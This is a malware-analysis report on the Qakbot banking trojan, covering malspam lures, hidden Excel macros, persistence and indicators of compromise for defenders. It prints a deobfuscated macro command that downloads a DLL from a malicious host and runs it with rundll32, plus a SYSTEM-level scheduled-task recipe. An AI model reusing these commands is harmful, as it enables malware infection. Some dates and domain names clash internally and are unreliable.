Qakbot Banking Trojan

Originally Published March 14, 2021

Updated: September 10th, 2023

Executive Summary

Qakbot, also known as Pinkslipbot, Qbot and Quakbot, is a notorious Banking Trojan designed to steal account credentials and online banking session information leading to account takeover fraud. Commonly distributed via malicious unsolicited email (malspam), Qakbot campaigns reportedly deployed ‘Cobalt Strike’ beacons likely in an attempt to move laterally as well as gaining persistency and establishing a robust communication channel back to the threat actor.

In March 2023 Qakbot was taken down in the FBI-led operation “Duck-Hunt”, seizing almost $9 million (Full update at end of article)

QakBot Tactics.

The use of ‘recycled’ legitimate emails, likely obtained from other victims and potentially sent to known recipients of these, appeared convincing to many. Users were warned to be wary of any out-of-character or unexpected email, especially when including unusual links or attachments.

Whilst reports vary on the first observation of Qakbot, potentially as early as 2007, the Trojan was heavily maintained and updated by its creators leading to the active threat observed up until the take down. Demonstrating this continued development, features included a worm-like ability to spread over networks, advanced web-injection techniques to steal credentials and a persistence mechanism that some believed to be the best in its class.

Additionally, the Trojan implemented anti-debug, anti-sandbox and anti-VM functionality in addition to regularly shifting their command and control (C2) infrastructure to prevent the retrieval of malicious payloads in an attempt to thwart security analysis and research attempts.

In an attempt to further evade detection, Qakbot was considered a polymorphic threat in that it could modify itself even after it had infected an endpoint. Additionally, Qakbot constantly modified files, including the payloads involved, resulting in newer variants continuously cycling through C2 servers.

The combination of all of these abilities ensured that Qakbot remained a highly effective threat responsible for countless successful attacks on organizations, including governmental structures, worldwide, leading to the infection of tens of thousands of hosts and high financial losses for both victims and their associated financial institutions.

Qakbot Delivery

Since Qakbot predominantly targeted the corporate sector, the primary infection vector involved the delivery of an initial malicious payload, typically using malicious unsolicited email (malspam) or phishing campaigns, as well as exploiting common vulnerabilities to infiltrate target organizations.

In addition to this common delivery method, reports suggest that the threat was also distributed by a dropper that installed the threat using a delayed execution function. Specifically, after a dropper was deployed to a target machine, likely through some malware-as-a-service (MaaS) campaign such as those orchestrated by ‘Emotet‘, it waited approximately fifteen minutes before dropping the Qakbot payload, . This was likely an attempt to evade detection by security solutions such as sandboxes.

In this recently observed campaign, victims were targeted with malicious email lures that appear to be in response to, or modified versions of, legitimate business communications between two parties (Figure 1).

Figure 1 – Example lure email seemingly using content known to the recipient/victim

The use of an existing legitimate email, aside from making the lure appear far more convincing to a recipient recognizing their own message and possibly the purported sender, is consistent with previously identified Qakbot behavior in which email accounts are compromised and message threads hijacked. This tactic effectively created a ‘snowball effect’ in which more and more organizations could be targeted with lures derived from legitimate email messages obtained from previously compromised victims.

As is common with this delivery method, the malicious document, in this case a Microsoft Excel spreadsheet, was compressed and attached as a Zip archive. Notably, of the samples observed in recent Qakbot campaigns, the filename of these archives appeared somewhat similar, utilizing common phrases followed by a two digit number, for example:

• _attached_file (39).zip
• _file_attached (35).zip
• attached (86).zip
• attached-60.zip
• collected-93.zip
• doc (56).zip
• paper-12.zip

Furthermore, the compressed Microsoft Excel spreadsheet filenames also appear to follow a naming convention beginning with document- and followed nine to ten digits and .xls, for example, document-1338652500.xls.

Given this, any suspicious email attachment that exhibited similar naming conventions would have been considered potentially malicious.

Initial Infection

Victim’s falling for the email lure, opening the Zip archive and subsequently the malicious spreadsheet were presented with content that claimed to be ‘encrypted by [the] Docusign® Protect Service’ (Figure 2).

Figure 2 – Qakbot fake ‘Docusign Protect Service’ encrypted spreadsheet

Fake content such as this was an attempt to socially engineer the victim into bypassing the security controls within Microsoft Office by clicking on ‘Enable Editing’ and ‘Enable Content’ which in turn would allow embedded macro code to be executed. This tactic was not unique to Qakbot and is regularly observed across multiple cybercrime campaigns such as those conducted by ‘Emotet’ and ‘Trickbot‘.

Likely in an attempt to evade detection, malicious code embedded within the spreadsheet was obfuscated and split across multiple cells on Excel macro sheets (XLM) that sat alongside the main ‘DocuSign’ sheet. To prevent a casual visual inspection of these values, with the additional sheets appearing blank, the font color is set to ‘white’ so as to match the cell background albeit this text can easily be revealed (Figure 3).

Figure 3 – Obfuscated code hidden within the lure spreadsheet (Revealed in ‘red’)

Once the victim lowered the security posture of Microsoft Office, the malicious code was automatically executed using the Auto_Open() function leading to the reassembly of the download and execution commands by concatenating the various strings (Figure 4).

Figure 4 – Excel ‘malicious command’ string concatenation formula

De-obfuscating these formulas and reassembling the strings allowed the first stage payload download and execution commands to be viewed:

• Uses the Visual Basic for Applications (VBA) CALL statement to access the URLDownloadToFileA function from URLMon.dll to downloads the first stage payload from the specified URL to the specified path, in this case the parent directory as signified by ..\ and a seemingly random or nonsense filename fkruf.djr: CALL(URLMon,URLDownloadToFileA,JJCCBB,0,hxxp://xjw19whta03ytgdi[.]com/inda.xls,..\fkruf.djr,0)
• Uses the VBA EXEC function to execute the rundll32.exe utility to register the downloaded payload, a dynamic link library (DLL), allowing its malicious code to be executed: EXEC("rundll32 ..\fkruf.djr,DllRegisterServer")

Notably, utilizing hardcoded domains and URLs for these payloads indicated that each lure document was tailored to the campaign and/or victim, behavior somewhat consistent with the tactics, techniques and procedures (TTP) observed in campaigns conducted by other threat actors such as ‘Emotet’.

Qakbot Payload

Having downloaded the first stage payload, a dynamic link library (DLL), rundll32.exe was executed by the malicious Microsoft Office ‘downloader’ macro to register and spawn the malicious Qakbot payload.

Subsequently a scheduled task was created, using the Windows Task Scheduler,schtasks.exe, to load the DLL payload with the Register Server utility, regsvr32.exe, using the following parameters:

• /Create – Schedules a new task;
• /RU "NT AUTHORITY\SYSTEM" – Executes the task with elevated system privileges;
• /tn <RANDOM_STRING> – Specifies the task name, seemingly using a random string;
• /tr "regsvr32.exe -s \"<PAYLOAD>" – The process to be executed, in this case regsvr32 is passed a malicious dynamic link library (DLL);
• /SC ONCE – Task scheduled to execute once at the specified time;
• /Z – Delete the task upon completion of the schedule;
• /ST <Now + 3 minutes as hh:mm> – Start time, used by the ONCE schedule;
• /ET <Now + 15 minutes as hh:mm> – End time, used by the ONCE schedule.

The start time was consistently set three minutes into the future and the end time fifteen minutes later, presumably allowing the malicious process to act on its objectives within a twelve minute window.

Whilst not observed in our attempts to execute this threat, a recent SANS ISC diary entry [1] suggests that a ‘Cobalt Strike’ payload was delivered by Qakbot leading to additional command and control (C2) traffic.

Likely used by the threat actor for managing and tracking their attack activity, both a botnet and campaign identifier were embedded within the payload and could be extracted alongside C2 IP addresses. This data, whilst encrypted and packed, could be easily seen within the sandbox analysis results within ‘Hatching Triage’ [2] (Figure 5).

Figure 5 – Example ‘Hatching Triage’ Qakbot analysis (https://tria.ge)

Recommendations

• Employee security awareness training can help them to identify and handle suspicious content such as unexpected or out-of-character communications, especially those containing email attachments or external links.
• Reinforce the message that Microsoft Office files that encourage users to ‘Enable Editing’, ‘Enable Content’ or disable any other security setting are almost certainly malicious.
• Consider the use of Group Policy to disable macros from running in Microsoft Office applications altogether; legitimate macros should be digitally signed to allow an exception to the disable rule.
• Administrative tools and script interpreters, such as PowerShell, should be disabled to prevent misuse by malicious payloads.
• Enhance the overall security of your infrastructure network monitoring for, and denying access to, malicious domains, hosts and IP addresses as detailed in the Indicators of Compromise section.

Indicators of Compromise

First Stage Payload Domains

The following domains have been identified as hosting the first stage payload as downloaded by the macro within the initial lure spreadsheet.

Update September 2023:

Operation ‘Duck Hunt’ Shuts Down Qakbot Botnet

The FBI-led Operation ‘Duck Hunt’ has taken down the extensive Qakbot botnet. The operation involved partners like Europol, French Police, and more. Cryptocurrency worth almost $9 million was seized from
Qakbot, to be given to victims, as stated by U.S. Attorney Martin Estrada.

• cfkko03vvxohq03taep[.]com
• cidn02mjco03pobx[.]com
• cyh26wcekai02atpeax[.]com
• dskl02touc03jeby[.]com
• dzw10jpcgj03fckc[.]com
• emqjj27ljgl02hqqzi[.]com
• etysu02scnabr03wzaxue[.]com
• fb25d3a23hy[.]com
• fb25d3add23hy[.]com
• fb25d3as23hy[.]com
• fb25d3erda23hfy[.]com
• fb25erhfy[.]com
• ftkaq03ihfbh03rehx[.]com
• gbza26rngn02bekll[.]com
• ghtyrncjf2df[.]com
• hei03tfxv03mahl[.]com
• hqcaz02egeq03bvmhm[.]com
• hqn27dyhvwp02wznv[.]com
• ihjpn03sijjl03dtmtr[.]com
• inpa02lzjvt03anas[.]com
• jam03iofwv03jniedf[.]com
• jhj10jtvwu03zsjwk[.]com
• jqilt27xsbz02anaeu[.]com
• kfzhm28pwzrlk02bmjy[.]com
• kyvws03ndah03hecon[.]com
• lic02uiccnh03nruvp[.]com
• nvrih26coxejl02enyfn[.]com
• nwvv27dwmy02bgznc[.]com
• nygvj27cvlk02cktf[.]com
• ououz02naba03oiyd[.]com
• pbdq26xjey02uprxwx[.]com
• ppk02dmgmzj03dxekog[.]com
• pxiw28jgmb02slcqxq[.]com
• qab26utxb02pquc[.]com
• rea26ypgvle02hcbunp[.]com
• rlvq27rmjej02sfvb[.]com
• rlyrt26rnxw02vqijgs[.]com
• sbr28gizur02fcxtz[.]com
• toj27nlpr02irajz[.]com
• toqku26hwpu02shuroh[.]com
• ttj10qrrqx03kdts[.]com
• uhfa02eknih03swzdku[.]com
• vyhml26anpfyb02aqsehz[.]com
• vyw27lfrvoj02kkxo[.]com
• wnah27frybfe02sadb[.]com
• xgka03stox03cloeqz[.]com
• xjw10whta03ytgdi[.]com
• yar03jmtvr03jtqg[.]com
• ydw27hfhbk02zpidmv[.]com
• ywgiu10zmnwcx03vpnyp[.]com
• zkkn02lffiff03zkmh[.]com

First Stage Payload IP Addresses

Based on passive DNS resolution of the first stage payload domains, the following IP addresses were identified and may be reused for nefarious purposes by those responsible for this threat.

• 8.208.97.177
• 8.209.64.96
• 8.209.68.209
• 8.210.31.137
• 34.89.57.175
• 34.90.237.156
• 35.228.62.27

First Stage Payload URLs

The following first stage payload URLs were identified as related to initial Qakbot lures and should be considered malicious.

• hxxp://cidn02mjco03pobx[.]com/index.xls
• hxxp://cyh26wcekai02atpeax[.]com/fera/frid.gif
• hxxp://dskl02touc03jeby[.]com/index.xls
• hxxp://dzw10jpcgj03fckc[.]com/india.xls
• hxxp://emqjj27ljgl02hqqzi[.]com/fedara.gif
• hxxp://etysu02scnabr03wzaxue[.]com/index.xls
• hxxp://fb25d3a23hy[.]com/fb26.gif
• hxxp://fb25d3add23hy[.]com/fb26.gif
• hxxp://fb25d3as23hy[.]com/fb26.gif
• hxxp://fb25d3erda23hfy[.]com/fb26.gif
• hxxp://gbza26rngn02bekll[.]com/fera/frid.gif
• hxxp://ghtyrncjf2df[.]com/fb26.gif
• hxxp://hqcaz02egeq03bvmhm[.]com/index.xls
• hxxp://hqn27dyhvwp02wznv[.]com/fedara.gif
• hxxp://inpa02lzjvt03anas[.]com/index.xls
• hxxp://jhj10jtvwu03zsjwk[.]com/inda.xls
• hxxp://jqilt27xsbz02anaeu[.]com/fedara.gif
• hxxp://kfzhm28pwzrlk02bmjy[.]com/mrch.gif
• hxxp://lic02uiccnh03nruvp[.]com/index.xls
• hxxp://nvrih26coxejl02enyfn[.]com/fera/frid.gif
• hxxp://nwvv27dwmy02bgznc[.]com/fedara.gif
• hxxp://nygvj27cvlk02cktf[.]com/fedara.gif
• hxxp://ououz02naba03oiyd[.]com/index.xls
• hxxp://pbdq26xjey02uprxwx[.]com/fera/frid.gif
• hxxp://ppk02dmgmzj03dxekog[.]com/index.xls
• hxxp://pxiw28jgmb02slcqxq[.]com/mrch.gif
• hxxp://qab26utxb02pquc[.]com/fera/frid.gif
• hxxp://rea26ypgvle02hcbunp[.]com/fera/frid.gif
• hxxp://rlvq27rmjej02sfvb[.]com/fedara.gif
• hxxp://rlyrt26rnxw02vqijgs[.]com/fera/frid.gif
• hxxp://sbr28gizur02fcxtz[.]com/mrch.gif
• hxxp://toj27nlpr02irajz[.]com/fedara.gif
• hxxp://ttj10qrrqx03kdts[.]com/inda.xls
• hxxp://uhfa02eknih03swzdku[.]com/index.xls
• hxxp://vyhml26anpfyb02aqsehz[.]com/fera/frid.gif
• hxxp://vyw27lfrvoj02kkxo[.]com/fedara.gif
• hxxp://wnah27frybfe02sadb[.]com/fedara.gif
• hxxp://xjw10whta03ytgdi[.]com/inda.xls
• hxxp://ydw27hfhbk02zpidmv[.]com/fedara.gif
• hxxp://ywgiu10zmnwcx03vpnyp[.]com/inda.xls
• hxxp://zkkn02lffiff03zkmh[.]com/index.xls
• hxxp://xjw10whta03ytgdi[.]com/inda.xls

Based on these recent observations, similarly structured URLs ending with the following paths and resource names could potentially be considered malicious.

• fb26.gif
• fedara.gif
• fera/frid.gif
• index.xls
• india.xls
• inda.xls
• mrch.gif

Initial Lure Attachment SHA256

The following hashes are examples of recent Qakbot attachments (Zip-compressed archives) containing Microsoft Excel spreadsheet lures. Given that these seemingly generated for each campaign and/or victim, these samples are unlikely to be reused in the future and are provided for reference only.

• 183240f918f98487e91f4581c624d452c596fea8fadb0b3867c09693867c0b94 (paper-12.zip)
• ad629b6683dfb209a892c0530ffb82fd8fa9170e563c8a9bd5fd0307ba3fdf47 (_attached_file (39).zip)
• f16973eea7b3c1679d3a229d8613a09aff054ea83949aebc75db5bd52df1f65a (collected-93.zip)
• b75c78e392b503476efdfb1d172103e90f6f1b57dcba5be64d8f2a9918d0e00d (attached (86).zip)
• 563ce65e29af0db882733a3e635c5bd4c1d2c93f5094f2f0d1fcf23295b6d586 (attached-60.zip)

Botnet & Campaign Identifiers

The following botnet (alpha-numeric) and campaign (numeric) identifiers have been observed during March 2021 with those behind Qakbot recently using US President names as well some less ‘catchy’ botnet identifiers:

• abc025
  • 1603896786
• biden01
  • 1613753447
• biden02
  • 1614254614
• biden03
  • 1614851222
• biden09
  • 1614939927
• obama07
  • 1614243368
• obama08
  • 1614855149
• obama09
  • 1614939797
• tr
  • 1614598087

Command & Control IP Addresses

The following Qakbot command and control (C2) IP addresses have been observed as in use across multiple botnets and campaigns during March 2021:

• 1.160.141.215:443, 1.52.227.184:443, 103.206.112.234:443, 105.198.236.101:443
• 105.198.236.99:443, 105.96.8.96:443, 106.51.52.111:443, 106.51.85.162:443
• 108.160.123.244:443, 108.190.151.108:2222, 108.29.32.251:443, 108.30.125.94:443
• 108.31.15.10:995, 108.35.13.206:443, 108.46.145.30:443, 109.106.69.138:2222
• 109.12.111.14:443, 113.22.175.141:443, 115.133.243.6:443, 117.199.10.108:443
• 119.153.110.160:443, 119.153.62.76:3389, 119.157.106.105:3389, 122.148.156.131:995
• 125.209.114.182:995, 125.239.152.76:995, 125.63.101.62:443, 136.232.34.70:443
• 140.82.27.132:443, 140.82.49.12:443, 142.117.191.18:2222, 144.139.166.18:443
• 144.139.47.206:443, 144.202.38.185:2222, 144.202.38.185:443, 144.202.38.185:995
• 149.28.101.90:2222, 149.28.101.90:443, 149.28.101.90:8443, 149.28.101.90:995
• 149.28.98.196:2222, 149.28.98.196:443, 149.28.98.196:995, 149.28.99.97:2222
• 149.28.99.97:443, 149.28.99.97:995, 151.205.102.42:443, 151.73.112.197:443
• 156.223.164.75:443, 157.131.108.180:443, 172.115.177.204:2222, 172.78.30.215:443
• 172.87.134.226:443, 172.87.157.235:3389, 172.91.19.192:443, 173.173.1.164:443
• 173.184.119.153:995, 173.21.10.71:2222, 173.245.152.231:443, 173.25.45.66:443
• 174.104.22.30:443, 176.181.247.197:443, 176.205.222.30:2078, 178.221.70.248:995
• 181.48.190.78:443, 182.48.193.200:443, 183.82.100.249:2222, 184.96.158.62:993
• 184.97.134.255:443, 185.19.190.81:443, 185.246.9.69:995, 186.28.55.211:443
• 186.31.77.42:443, 187.250.118.233:995, 187.250.177.33:995, 187.250.238.164:995
• 187.250.249.6:995, 188.210.230.197:443, 188.25.63.105:443, 188.26.91.212:443
• 188.27.178.166:443, 188.27.32.167:443, 189.146.183.105:443, 189.183.209.130:995
• 189.210.115.207:443, 189.222.199.37:995, 189.222.216.44:443, 189.222.217.105:443
• 189.222.59.177:443, 189.223.234.23:995, 189.231.212.189:443, 190.147.186.58:443
• 190.25.76.219:443, 190.85.91.154:443, 193.248.221.184:2222, 195.12.154.8:443
• 195.43.173.70:443, 196.151.252.84:443, 196.221.207.137:995, 197.161.154.132:443
• 197.45.110.165:995, 197.51.82.72:443, 197.57.82.226:443, 199.19.117.131:443
• 199.247.16.80:443, 199.247.22.145:443, 2.232.253.79:995, 2.7.116.188:2222
• 201.143.235.13:443, 201.215.96.174:0, 202.184.20.119:443, 202.185.166.181:443
• 202.188.138.162:443, 203.194.110.74:443, 203.198.96.249:443, 203.198.96.61:443
• 203.45.104.33:443, 207.246.116.237:2222, 207.246.116.237:443, 207.246.116.237:8443
• 207.246.116.237:995, 207.246.70.216:443, 207.246.75.201:443, 207.246.77.75:2222
• 207.246.77.75:443, 207.246.77.75:8443, 207.246.77.75:995, 208.180.246.73:443
• 208.93.202.49:443, 209.210.187.52:443, 209.210.187.52:995, 213.60.147.140:443
• 216.201.162.158:443, 217.133.54.140:32100, 217.162.149.212:443, 217.165.22.188:443
• 217.165.231.192:2078, 217.165.96.127:990, 24.117.107.120:443, 24.139.72.117:443
• 24.152.219.253:995, 24.205.42.241:443, 24.229.150.54:995, 24.231.54.185:2222
• 24.27.82.216:2222, 24.28.183.107:995, 24.40.173.134:443, 24.43.22.218:993
• 24.50.118.93:443, 24.55.112.61:443, 24.55.66.125:443, 24.71.28.247:443
• 24.95.61.62:443, 27.223.92.142:995, 31.5.21.66:443, 32.210.98.6:443
• 35.134.202.234:443, 36.77.151.211:443, 37.104.126.241:995, 38.92.225.121:443
• 39.36.188.231:995, 41.225.13.128:8443, 41.228.44.229:443, 41.39.134.183:443
• 41.97.174.237:443, 45.118.216.157:443, 45.32.154.10:443, 45.32.155.12:2222
• 45.32.155.12:443, 45.32.155.12:995, 45.32.162.253:443, 45.32.165.134:443
• 45.32.211.207:2222, 45.32.211.207:443, 45.32.211.207:8443, 45.32.211.207:995
• 45.46.53.140:2222, 45.63.104.123:443, 45.63.107.192:2222, 45.63.107.192:443
• 45.63.107.192:995, 45.77.115.208:2222, 45.77.115.208:443, 45.77.115.208:8443
• 45.77.115.208:995, 45.77.117.108:2222, 45.77.117.108:443, 45.77.117.108:8443
• 45.77.117.108:995, 45.77.193.83:443, 47.138.201.136:443, 47.146.169.85:443
• 47.187.108.172:443, 47.196.192.184:443, 47.22.148.6:443, 47.44.217.98:443
• 5.12.255.109:443, 5.13.70.49:443, 5.14.126.153:443, 5.193.181.221:2078
• 50.244.112.106:443, 50.29.166.232:995, 50.96.234.132:995, 59.90.246.200:443
• 64.121.114.87:443, 65.27.228.247:443, 67.165.206.193:993, 67.6.12.4:443
• 67.6.55.77:443, 67.8.103.21:443, 68.134.181.98:443, 68.174.15.223:443
• 68.186.192.69:443, 68.225.60.77:443, 68.46.142.48:995, 68.82.125.234:443
• 69.47.239.10:443, 70.168.130.172:995, 70.49.88.199:2222, 71.117.132.169:443
• 71.12.214.209:2222, 71.14.110.199:443, 71.163.223.159:443, 71.182.142.63:443
• 71.187.170.235:443, 71.197.126.250:443, 71.199.192.62:443, 71.41.184.10:3389
• 71.63.120.101:443, 71.74.12.34:443, 71.88.104.107:443, 71.88.193.17:443
• 72.16.56.171:443, 72.186.1.237:443, 72.190.101.70:443, 72.240.200.181:2222
• 72.252.201.69:443, 72.28.255.159:995, 72.29.181.78:2222, 72.36.59.46:2222
• 72.66.47.70:443, 72.71.230.82:2222, 73.153.211.227:443, 73.200.219.143:443
• 73.228.1.246:443, 73.25.124.140:2222, 74.102.76.128:443, 74.137.189.78:443
• 74.195.88.59:443, 74.222.204.82:995, 74.68.144.202:443, 74.75.237.11:443
• 75.118.1.141:443, 75.136.26.147:443, 75.136.40.155:443, 75.189.159.193:443
• 75.67.192.125:443, 76.104.230.174:443, 76.25.142.196:443, 76.94.200.148:995
• 77.211.30.202:995, 77.27.204.204:995, 78.180.179.136:443, 78.185.59.190:443
• 78.63.226.32:443, 78.96.199.79:443, 78.97.207.104:443, 79.112.1.59:443
• 79.115.174.55:443, 79.117.56.230:443, 80.11.173.82:8443, 80.14.209.42:2222
• 80.227.5.69:443, 80.240.26.178:443, 80.7.129.64:995, 81.133.234.36:2222
• 81.150.181.168:2222, 81.214.126.173:2222, 81.97.154.100:443, 82.12.157.95:995
• 82.127.125.209:990, 83.103.182.50:443, 83.110.103.152:443, 83.110.108.38:2222
• 83.110.3.77:2078, 83.110.80.66:995, 83.110.9.71:2222, 83.196.56.65:2222
• 84.117.132.16:995, 84.117.176.32:443, 84.232.238.30:443, 84.247.55.190:443
• 84.247.55.190:8443, 84.72.35.226:443, 85.204.189.105:443, 85.52.72.32:2222
• 86.120.64.150:2222, 86.121.64.217:2222, 86.122.18.250:443, 86.123.195.190:443
• 86.126.215.243:443, 86.160.137.132:443, 86.175.79.249:443, 86.220.62.251:2222
• 86.236.77.68:2222, 86.98.89.100:2222, 86.99.134.158:443, 87.202.87.210:2222
• 89.137.211.239:443, 89.137.211.239:995, 89.137.211.72:443, 89.3.198.238:443
• 89.33.87.107:443, 90.101.117.122:2222, 90.112.5.12:2222, 90.65.236.181:2222
• 92.59.35.196:2222, 93.113.177.152:443, 94.52.68.72:443, 94.53.92.42:443
• 95.179.247.224:443, 95.77.144.238:443, 95.77.223.148:443, 96.21.251.127:2222
• 96.237.141.134:995, 96.247.181.229:443, 96.30.198.161:443, 96.37.113.36:993
• 96.56.234.74:443, 96.57.188.174:2222, 97.69.160.4:2222, 98.121.187.78:443
• 98.173.34.213:995, 98.192.185.86:443, 98.240.24.57:443, 98.252.118.134:443

MITRE ATT&CK

Contact us to learn more about Malware prevention by the Argos™ Digital Risk Protection platform

References

[1] https://isc.sans.edu/forums/diary/Qakbot+infection+with+Cobalt+Strike/27158/

[2] https://tria.ge/210310-1pcpa5ddye